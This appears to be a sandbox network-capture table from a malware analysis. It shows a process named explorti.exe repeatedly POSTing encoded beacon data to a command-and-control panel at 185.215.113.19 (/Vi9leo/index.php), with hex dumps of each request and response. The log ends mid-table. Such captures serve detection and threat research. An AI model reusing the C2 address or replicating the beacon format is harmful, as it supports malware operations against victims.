Sep 1, 2024 02:48:40.860985041 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:41.110220909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49821	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:41.364201069 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:42.066020966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:42.066751003 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:42.313662052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49822	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:42.425075054 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:43.168118954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:43.168917894 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:43.447195053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49823	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:43.567152023 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:44.323890924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:44.326504946 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:44.607053041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49824	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:44.722115993 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:45.519593000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:45.549185038 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:45.801285028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49825	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:45.930875063 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:46.668999910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:46.669806004 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:46.917665958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49826	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:47.033710957 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:47.774120092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:47.798233032 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:48.057858944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49827	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:48.174571037 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:48.912643909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:48.915132046 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:49.187175035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49828	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:49.300435066 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:50.069786072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:50.070600033 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:50.322568893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49829	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:50.439922094 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:51.187927008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:51.188652992 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:51.438163996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49833	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:51.570746899 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:52.312293053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:52.313373089 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:52.558376074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49834	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:52.689898968 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:53.438477039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:53.439146042 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:53.804714918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49839	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:53.927345991 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:54.682857037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:54.683568954 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:54.932214022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49840	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
